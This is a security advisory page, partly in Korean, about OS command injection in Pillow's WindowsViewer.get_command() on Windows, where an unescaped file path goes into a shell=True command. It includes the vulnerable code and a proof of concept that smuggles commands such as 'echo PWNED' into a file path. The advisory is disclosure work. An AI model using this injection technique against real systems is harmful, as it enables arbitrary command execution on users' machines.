Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L상세 설명
1. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
1class WindowsViewer(Viewer): 2 format = "PNG" 3 options = {"compress_level": 1, "save_all": True} 4 5 def get_command(self, file: str, **options: Any) -> str: 6 return ( 7 f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping 8 "&& ping -n 4 127.0.0.1 >NUL " 9 f'&& del /f "{file}"' # ← same path, unescaped again10 )11 12 def show_file(self, path: str, **options: Any) -> int:13 if not os.path.exists(path):14 raise FileNotFoundError15 subprocess.Popen(16 self.get_command(path, **options),17 shell=True, # ← shell=True18 creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),19 ) # nosec # ← Bandit warning suppressed manually20 return 1Contrast with macOS — SAFE (line 164–168):
1class MacViewer(Viewer): 2 def get_command(self, file: str, **options: Any) -> str: 3 command = "open -a Preview.app" 4 command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" 5 return command # ← shlex.quote() appliedCross-platform summary:
| Platform | Class | shlex.quote()? | shell=True? | Safe? |
|---|---|---|---|---|
| macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer | No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
1from PIL.ImageShow import WindowsViewer 2 3viewer = WindowsViewer() 4evil_path = r'C:\Temp\evil" & echo PWNED & echo "' 5cmd = viewer.get_command(evil_path) 6print(cmd) 7# Output: 8# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... 9# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)10# ├─ & echo PWNED → INJECTED COMMAND11# └─ & echo "" && ping ... → continuesPart B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
1import os, tempfile 2from PIL.ImageShow import WindowsViewer 3 4viewer = WindowsViewer() 5poc_dir = tempfile.mkdtemp() 6marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") 7 8# Craft injection: payload writes a marker file (harmless) 9payload = f'echo REAL_INJECTED > "{marker}"'10evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')11 12# Call the REAL Pillow get_command():13real_cmd = viewer.get_command(evil_path)14 15# Execute the same way the base Viewer.show_file() does (os.system):16os.system(real_cmd)17 18assert os.path.exists(marker) # PASSES — marker was created19assert "REAL_INJECTED" in open(marker).read() # PASSES20# → CONFIRMED: arbitrary command injection via get_command()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…